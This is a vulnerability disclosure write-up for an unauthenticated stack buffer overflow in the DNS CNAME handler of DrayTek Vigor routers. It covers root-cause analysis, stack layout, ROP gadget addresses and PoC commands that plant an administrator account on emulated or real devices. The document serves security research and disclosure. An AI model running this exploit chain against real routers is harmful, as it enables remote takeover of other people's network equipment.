标签 DrayTek 下的文章

image.png

Repository: yikesoftware/draytek_drayos_dns_cname_stack_overflow
  • Affected Models: DrayTek Vigor2962 / Vigor2962P / Vigor3910 / Vigor3912 / Vigor3912S
  • Affected Firmware Versions (URL): Vigor2962 / Vigor2962P 3.9.3 – 4.4.6.3 (v4.4.6.3); Vigor3910 ≤ 4.4.6.3 (v4.4.6.3); Vigor3912 / Vigor3912S 4.3.5.1 – 4.4.6.3 (v4.4.6.3)
  • Fixed Firmware Version (URL): 4.4.6.4 (Vigor2962 / Vigor3910 / Vigor3912)
  • Preconditions: Very low
  • Defense Difficulty: High (firmware upgrade only)
  • Impact: Arbitrary Code Execution

1. Summary

A stack-based buffer overflow exists in the DrayOS DNS response handler for CNAME records. A crafted DNS response sent to the device's WAN interface corrupts the stack and allows an unauthenticated attacker to execute arbitrary code in the DrayOS guest.

  • Affected component: DrayOS DNS response processing (CNAME RDATA name decoder), reachable from the WAN interface.
  • Confirmed impact: unauthenticated stack memory corruption leading to arbitrary code execution in the DrayOS guest.

2. Preconditions

  • UDP reachability to any destination port with source port 53.

3. Root Cause Analysis

3.1 Execution context: an IPv4 input path inside the DrayOS guest

DrayOS is not a Linux process. In the affected Vigor2962/Vigor3910/Vigor3912 series the vendor firmware runs a Linux host with the DrayOS image as a QEMU aarch64 guest. Inside the guest, DrayOS provides its own task scheduler on a single virtual CPU (for the tested images) and runs the network stack and protocol handlers as event-driven tasks; there is no Linux socket/application boundary between a received WAN packet and the vulnerable parser.

Within DrayOS, packet processing is ordinary task work, not interrupt work: the VirtIO RX callback only marks the RX slot pending and posts the task's receive event. The scheduler later runs if_task_lan, whose event loop drains the ring through the shared RX consumer and enters the IPv4 dispatcher. The vulnerable parser therefore executes on the stack of a scheduled DrayOS task, and no socket endpoint or application task is involved.

All addresses in this section are from the tested soho2962.bin (Vigor2962 4.4.6.3); the same functions and call relationships exist in the Vigor3910/Vigor3912 images.

The WAN receive path is:

WAN1 VirtIO RX
      |
      |  IRQ: WAN RX callback marks the RX slot pending and posts the receive event
      v
if_task_lan event loop (LAN_EVENT_LOOP, 0x4093EED8)      [DrayOS task, priority 61]
      |
      v
shared RX consumer (LAN_RX_CALL, 0x4093EFBC)
      |
      v
WAN_IPV4 input dispatcher (0x40966370)
      |
      +----> normal IPv4 delivery (protocol endpoints / application tasks)
      |
      +----> non-fragmented UDP, source port 53
                 |
                 v
            DNS_RESPONSE_GATE (0x40967028)
                 |
                 v
            DNS_HANDLER (0x408D046C)
                 |
                 v
            RR_PARSER (0x408CA7E0)
                 |
                 v
            NAME_DECODER (0x408CA548)   <-- overflow occurs here

Two properties of this path are important for understanding the bug:

  • The DNS response handler is a branch of IPv4 input processing, not an application-layer service. The IPv4 dispatcher selects it directly from the UDP source port of an inbound packet; no socket read, management service, application task, authentication or user interaction is involved.
  • The complete call chain executes on the stack of the if_task_lan receive loop. The return address consumed when the DNS handler returns is therefore the return address of this WAN receive path.

3.2 Dispatch to the CNAME name decoder

DNS_HANDLER parses the DNS response and walks its answer records. RR_PARSER examines the resource-record type and class, and only the CNAME branch calls the vulnerable name decoder (this is the only direct call site of NAME_DECODER, at 0x408CB10C):

/* RR_PARSER (0x408CA7E0): answer-RR dispatch, reconstructed from soho2962.bin */
if (rr[0] == 0x00 && rr[1] == 0x05 &&      /* TYPE  == 0x0005 (CNAME) */
    rr[2] == 0x00 && rr[3] == 0x01) {      /* CLASS == 0x0001 (IN)    */
    state = 6;                             /* mark the CNAME record   */
    rc = name_decoder(pkt, rr);            /* rr + 10 = CNAME RDATA   */
}

rr points at the TYPE field of the record. TYPE (2 bytes), CLASS (2 bytes), TTL (4 bytes) and RDLENGTH (2 bytes) occupy the first 10 bytes, so the CNAME RDATA (the alias target name) starts at rr + 10. Other record types are handled by different code paths and do not reach this decoder.

3.3 The vulnerable decoder

NAME_DECODER builds a 320-byte stack frame and uses the 256-byte buffer at fp+0x20 as the output for the decoded name. Its logic, reconstructed from the binary, is:

/* NAME_DECODER (0x408CA548): decode a CNAME RDATA name (reconstructed) */
char decoded[256];                  /* fp+0x20 */
uint8_t *out = decoded;
uint32_t used = 0;
uint8_t *wire = rr + 10;            /* CNAME RDATA */

memset(decoded, 0, sizeof(decoded));

do {
    uint8_t len = *wire++;
    /* 0xC0 (compression-pointer) labels are handled by the branch below */
    if (len == 0 || len > 63)       /* label length sanity check */
        break;

    memcpy(out, wire, len);         /* LABEL_COPY (0x408CA728): copy first */
    out += len;
    wire += len;

    if (*wire == 0) {               /* end of the encoded name */
        *out = 0;
        return 1;
    }

    *out++ = '.';                   /* separator */
    used += len + 1;
} while (used <= 253);              /* LENGTH_CHECK (0x408CA7B4): check after copy */

The same 256-byte output buffer is also used by the compression-pointer path (0xC0 label). That path is even less constrained: it copies the length byte obtained from the packet without a len > 63 check, and also performs the copy before any capacity check:

/* compression-pointer path inside NAME_DECODER (reconstructed) */
ptr = *(uint8_t *)(wire);
len = *(uint8_t *)(pkt + ptr);      /* 0 .. 255, no len > 63 check */
memcpy(out, pkt + ptr + 1, len);    /* copy before any capacity check */
out += len;

3.4 Stack layout and why the fifth label overwrites the return address

The decoder's only cumulative length bound is the loop condition used <= 253, evaluated after the copy. It does not reserve the two bytes needed by the separator dot and the terminating NUL, and it never checks whether the next label fits into the remaining buffer space.

With the CNAME RDATA labels 63 / 63 / 63 / 60 / 63, the first four labels and their inserted dots consume exactly 253 bytes:

(63 + 1) + (63 + 1) + (63 + 1) + (60 + 1) = 253

The loop condition still holds (253 <= 253), so the fifth 63-byte label is copied starting at output offset 253:

memcpy(decoded + 253, fifth_label, 63);   /* writes decoded + 253 .. decoded + 315 */

The stack layout at that moment is:

higher addresses
+----------------------------------+
| caller-saved x29  (fp+0x140)     | <-- overwritten
| caller-saved LR   (fp+0x148)     | <-- overwritten
+----------------------------------+
| fifth copy starts here (fp+0x11D)|
| ................ 63 bytes ....... |
| decoded[256]      (fp+0x020)     |
| NAME_DECODER frame base (fp)     |
+----------------------------------+
lower addresses

In terms of the decoder frame, the fifth copy covers [fp+0x11D, fp+0x15C). The 320-byte frame ends at fp+0x13F, so the copy crosses the frame boundary and overwrites the caller-saved frame pointer at fp+0x140 and the caller-saved return address at fp+0x148.

The decoder's own epilogue is not affected, because it restores its own saved registers from fp:

0x408CA7D8  ldp x29, x30, [sp], #320
0x408CA7DC  ret

The corrupted slots belong to the caller frame. RR_PARSER saves x29/x30 at its frame base (caller_fp and caller_fp+8), and caller_fp is exactly decoder_fp+0x140; the fifth copy therefore overwrites the return address that RR_PARSER will later load in its epilogue:

0x408CB810  ldp x29, x30, [sp], #16
0x408CB814  add sp, sp, #0x250
0x408CB818  ret

ldp loads the overwritten 8 bytes into x30, and ret branches to them. Dynamic debugging confirmed this exact sequence: immediately before the fifth copy the caller's saved LR contained the normal return address (0x408D054C); after the copy it contained the packet-controlled fill value (0x4545454545454545), and the later ldp/ret consumed it. The copied bytes are raw wire bytes, not a restricted domain-name character set, so the return address can contain NUL and high-bit bytes as well.

The decoder's pointer/length fields and the parser's local state in the overflown region are also overwritten; the proof-of-concept deliberately reuses this to chain a second decode pass. The first-order defect remains the missing pre-copy capacity check.

3.5 Core flaw

  1. The decoder copies each label using the attacker-supplied label length, then checks the cumulative decoded length (used <= 253) only after the copy has completed.
  2. Before copying a label, it never verifies that the remaining buffer capacity can hold len bytes plus the separator dot and terminating NUL (used + len + 2 <= 256).
  3. The compression-pointer path additionally lacks the len > 63 check and can copy up to 255 bytes from a packet-relative offset.
  4. Because the 320-byte frame is followed by the caller-saved x29/LR slots of the DNS receive path, the overflow corrupts the return address used inside the DrayOS WAN receive task and redirects control flow.

4. PoC

The PoC uses the DrayTek Vigor2962 firmware version 4.4.6.3 as the reference target. The source is poc/poc.py.

4.1 Emulation Environment Validation

The PoC modifies persistent configuration; use a fresh emulation image for repeated rounds.

The emulation bundle, host requirements, debug access and platform notes are documented in RUN_2962_EMU.md.

Terminal 1 — start the emulation

git clone https://github.com/yikesoftware/draytek_drayos_dns_cname_stack_overflow.git
cd draytek_drayos_dns_cname_stack_overflow
cd artifacts
tar -xzf vigor2962_emu.tar.gz
cd vigor2962_emu
sudo ./network-init.sh up
./run.sh

./run.sh attaches the QEMU console and keeps running; leave this terminal open. Wait two to three minutes for the vendor Linux and the inner DrayOS to boot.

Terminal 2 — add an administrator account

Open a second terminal, change to the cloned repository root, and verify that WAN1 is reachable. The ping must succeed before continuing:

sudo ip netns exec v2962-test ping -c 1 192.168.102.15

The bundled rootfs.img already has WAN1 configured as 192.168.102.15/24. When --source-ip is omitted, the kernel selects the source IP from the route to the target; pass --source-ip only to override it.

cd poc
sudo ip netns exec v2962-test python3 ./poc.py --platform x86 --action adduser --target-ip 192.168.102.15

After the PoC, DrayOS has a new administrator account superadmin with password qwe123!@#.

Verify the login:

sudo ip netns exec v2962-test telnet 192.168.102.15
# Account: superadmin
# Password: qwe123!@#

Delete the account

sudo ip netns exec v2962-test python3 ./poc.py --platform x86 --action deluser --target-ip 192.168.102.15

Verify the login is rejected:

sudo ip netns exec v2962-test timeout 5 telnet 192.168.102.15
# no login prompt: connection fails or times out

4.2 Real Device Hardware

From the repository root:

cd poc
sudo python3 ./poc.py --platform cavium --action adduser --target-ip <WAN1_IP>

After the PoC, DrayOS has a new administrator account superadmin with password qwe123!@#.

Verify the login:

telnet <WAN1_IP>
# Account: superadmin
# Password: qwe123!@#

Delete the account

sudo python3 ./poc.py --platform cavium --action deluser --target-ip <WAN1_IP>

Verify the login is rejected:

timeout 5 telnet <WAN1_IP>
# no login prompt: connection fails or times out

A normal MUSDK/DPDK boot uses cavium; if DPDK is disabled (bootdpdk=0), use --platform xdpdk. The stack addresses must be verified against the device firmware. The PoC persists its configuration with sys commit; restore or reset the device after testing.

4.3 PoC Principle

The exploit turns the overflow into a controlled call chain on the DrayOS WAN task stack.

  1. Return control. The fifth CNAME label overflows the decoder frame and overwrites the caller's saved x29/LR with a pointer to a fake frame and the vendor stack-pivot gadget (0x40208648). When the decoder returns, PIVOT switches to the fake frame.
  2. Second decode. The first four labels (63/63/63/60) make the first decoder pass write 0xFD bytes into its internal name buffer. The overflowing fifth label then resets the decoder state, points its input back at that buffer and its output at SAFE_FAKE, above the live parent stack. The same decoder performs a second DNS-name decode; the first-pass bytes are read as lengths 63/63/63/59 and a complete 0xFC-byte fake frame is written to SAFE_FAKE. This keeps the ROP frame above the parent SP, where later IRQs and task switches cannot overwrite it.
  3. CLI wrapper call. The fake frame loads the internal CLI wrapper (0x40319390) and calls it with a pointer to the fixed command string. Each DNS response carries one command in a 58-byte slot; one PoC run sends the complete command sequence of the selected action, followed by sys commit.
  4. Stack restoration. After the wrapper returns, a vendor restore gadget (0x402BC790) loads x29/x30 from the fake frame, advances SP to the original if_task_lan frame (0x448E4C90), and returns to the LAN event loop (0x4093EED8). The WAN task survives and can process the next DNS response, which is what makes the multi-command sequence possible.